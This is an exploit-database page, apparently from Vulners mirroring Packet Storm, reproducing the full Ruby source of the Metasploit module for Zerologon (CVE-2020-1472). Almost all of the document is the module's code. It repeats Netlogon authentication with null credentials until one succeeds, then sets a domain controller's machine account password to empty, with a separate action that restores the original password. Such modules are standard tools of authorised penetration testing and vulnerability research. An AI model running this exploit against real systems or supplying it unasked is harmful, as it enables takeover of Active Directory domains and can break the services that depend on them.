Lucene search
K

Netlogon Weak Cryptographic Authentication

🗓️ 31 Aug 2024 00:00:00Reported by Spencer McIntyre, Tom Tervoort, Dirk-jan Mollema, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 287 Views

A vulnerability in Netlogon authentication allows an attacker to reset the machine account password, leading to potential service instability. Module leverages the flaw to make repeated authentication attempts using NULL data fields.

Related
Code
ReporterTitlePublishedViews
Family
Gitee
Exploit for CVE-2020-1472
10 Oct 202018:21
gitee
Gitee
Exploit for CVE-2020-1472
25 Jul 202116:14
gitee
Gitee
Exploit for CVE-2020-1472
8 Oct 202115:47
gitee
Gitee
Exploit for CVE-2020-1472
25 Jul 202115:13
gitee
Gitee
Exploit for CVE-2020-1472
8 Dec 202016:33
gitee
Gitee
Exploit for CVE-2020-1472
7 Jul 202120:29
gitee
Gitee
Exploit for CVE-2020-1472
6 Sep 202511:51
gitee
Gitee
Exploit for CVE-2020-1472
10 Oct 202018:21
gitee
Gitee
Exploit for CVE-2020-1472
8 Dec 202016:32
gitee
Gitee
Exploit for CVE-2020-1472
29 Apr 202121:43
gitee
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'windows_error'  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::DCERPC  
include Msf::Exploit::Remote::SMB::Client  
include Msf::Auxiliary::Report  
  
CheckCode = Exploit::CheckCode  
Netlogon = RubySMB::Dcerpc::Netlogon  
EMPTY_SHARED_SECRET = OpenSSL::Digest.digest('MD4', '')  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Netlogon Weak Cryptographic Authentication',  
'Description' => %q{  
A vulnerability exists within the Netlogon authentication process where the security properties granted by AES  
are lost due to an implementation flaw related to the use of a static initialization vector (IV). An attacker  
can leverage this flaw to target an Active Directory Domain Controller and make repeated authentication attempts  
using NULL data fields which will succeed every 1 in 256 tries (~0.4%). This module leverages the vulnerability  
to reset the machine account password to an empty string, which will then allow the attacker to authenticate as  
the machine account. After exploitation, it's important to restore this password to it's original value. Failure  
to do so can result in service instability.  
},  
'Author' => [  
'Tom Tervoort', # original vulnerability details  
'Spencer McIntyre', # metasploit module  
'Dirk-jan Mollema' # password restoration technique  
],  
'Notes' => {  
'AKA' => ['Zerologon'],  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]  
},  
'License' => MSF_LICENSE,  
'Actions' => [  
[ 'REMOVE', { 'Description' => 'Remove the machine account password' } ],  
[ 'RESTORE', { 'Description' => 'Restore the machine account password' } ]  
],  
'DefaultAction' => 'REMOVE',  
'References' => [  
[ 'CVE', '2020-1472' ],  
[ 'URL', 'https://www.secura.com/blog/zero-logon' ],  
[ 'URL', 'https://github.com/SecuraBV/CVE-2020-1472/blob/master/zerologon_tester.py' ],  
[ 'URL', 'https://github.com/dirkjanm/CVE-2020-1472/blob/master/restorepassword.py' ]  
]  
)  
)  
  
register_options(  
[  
OptPort.new('RPORT', [ false, 'The netlogon RPC port' ]),  
OptString.new('NBNAME', [ true, 'The server\'s NetBIOS name' ]),  
OptString.new('PASSWORD', [ false, 'The password to restore for the machine account (in hex)' ], conditions: %w[ACTION == RESTORE]),  
]  
)  
end  
  
def peer  
"#{rhost}:#{@dport || datastore['RPORT']}"  
end  
  
def bind_to_netlogon_service  
@dport = datastore['RPORT']  
if @dport.nil? || @dport == 0  
@dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], Netlogon::UUID, '1.0', 'ncacn_ip_tcp')  
fail_with(Failure::NotFound, 'Could not determine the RPC port used by the Microsoft Netlogon Server') unless @dport  
end  
  
# Bind to the service  
handle = dcerpc_handle(Netlogon::UUID, '1.0', 'ncacn_ip_tcp', [@dport])  
print_status("Binding to #{handle} ...")  
dcerpc_bind(handle)  
print_status("Bound to #{handle} ...")  
end  
  
def check  
bind_to_netlogon_service  
  
status = nil  
2000.times do  
netr_server_req_challenge  
response = netr_server_authenticate3  
  
break if (status = response.error_status) == 0  
  
windows_error = ::WindowsError::NTStatus.find_by_retval(response.error_status.to_i).first  
# Try again if the Failure is STATUS_ACCESS_DENIED, otherwise something has gone wrong  
next if windows_error == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED  
  
fail_with(Failure::UnexpectedReply, windows_error)  
end  
  
return CheckCode::Detected unless status == 0  
  
CheckCode::Vulnerable  
end  
  
def run  
case action.name  
when 'REMOVE'  
action_remove_password  
when 'RESTORE'  
action_restore_password  
end  
end  
  
def action_remove_password  
fail_with(Failure::Unknown, 'Failed to authenticate to the server by leveraging the vulnerability') unless check == CheckCode::Vulnerable  
  
print_good('Successfully authenticated')  
  
report_vuln(  
host: rhost,  
port: @dport,  
name: name,  
sname: 'dcerpc',  
proto: 'tcp',  
refs: references,  
info: "Module #{fullname} successfully authenticated to the server without knowledge of the shared secret"  
)  
  
response = netr_server_password_set2  
status = response.error_status.to_i  
fail_with(Failure::UnexpectedReply, "Password change failed with NT status: 0x#{status.to_s(16)}") unless status == 0  
  
print_good("Successfully set the machine account (#{datastore['NBNAME']}$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)")  
end  
  
def action_restore_password  
fail_with(Failure::BadConfig, 'The RESTORE action requires the PASSWORD option to be set') if datastore['PASSWORD'].blank?  
fail_with(Failure::BadConfig, 'The PASSWORD option must be in hex') if /^([0-9a-fA-F]{2})+$/ !~ datastore['PASSWORD']  
password = [datastore['PASSWORD']].pack('H*')  
  
bind_to_netlogon_service  
client_challenge = OpenSSL::Random.random_bytes(8)  
  
response = netr_server_req_challenge(client_challenge: client_challenge)  
session_key = Netlogon.calculate_session_key(EMPTY_SHARED_SECRET, client_challenge, response.server_challenge)  
ppp = Netlogon.encrypt_credential(session_key, client_challenge)  
  
response = netr_server_authenticate3(client_credential: ppp)  
fail_with(Failure::NoAccess, 'Failed to authenticate (the machine account password may not be empty)') unless response.error_status == 0  
  
new_password_data = ("\x00" * (512 - password.length)) + password + [password.length].pack('V')  
response = netr_server_password_set2(  
authenticator: Netlogon::NetlogonAuthenticator.new(  
credential: Netlogon.encrypt_credential(session_key, [ppp.unpack1('Q') + 10].pack('Q')),  
timestamp: 10  
),  
clear_new_password: Netlogon.encrypt_credential(session_key, new_password_data)  
)  
status = response.error_status.to_i  
fail_with(Failure::UnexpectedReply, "Password change failed with NT status: 0x#{status.to_s(16)}") unless status == 0  
  
print_good("Successfully set machine account (#{datastore['NBNAME']}$) password")  
end  
  
def netr_server_authenticate3(client_credential: "\x00" * 8)  
nrpc_call('NetrServerAuthenticate3',  
primary_name: "\\\\#{datastore['NBNAME']}",  
account_name: "#{datastore['NBNAME']}$",  
secure_channel_type: :ServerSecureChannel,  
computer_name: datastore['NBNAME'],  
client_credential: client_credential,  
flags: 0x212fffff)  
end  
  
def netr_server_password_set2(authenticator: nil, clear_new_password: "\x00" * 516)  
authenticator ||= Netlogon::NetlogonAuthenticator.new(credential: "\x00" * 8, timestamp: 0)  
nrpc_call('NetrServerPasswordSet2',  
primary_name: "\\\\#{datastore['NBNAME']}",  
account_name: "#{datastore['NBNAME']}$",  
secure_channel_type: :ServerSecureChannel,  
computer_name: datastore['NBNAME'],  
authenticator: authenticator,  
clear_new_password: clear_new_password)  
end  
  
def netr_server_req_challenge(client_challenge: "\x00" * 8)  
nrpc_call('NetrServerReqChallenge',  
primary_name: "\\\\#{datastore['NBNAME']}",  
computer_name: datastore['NBNAME'],  
client_challenge: client_challenge)  
end  
  
def nrpc_call(name, **kwargs)  
request = Netlogon.const_get("#{name}Request").new(**kwargs)  
  
begin  
raw_response = dcerpc.call(request.opnum, request.to_binary_s)  
rescue Rex::Proto::DCERPC::Exceptions::Fault  
fail_with(Failure::UnexpectedReply, "The #{name} Netlogon RPC request failed")  
end  
  
Netlogon.const_get("#{name}Response").read(raw_response)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation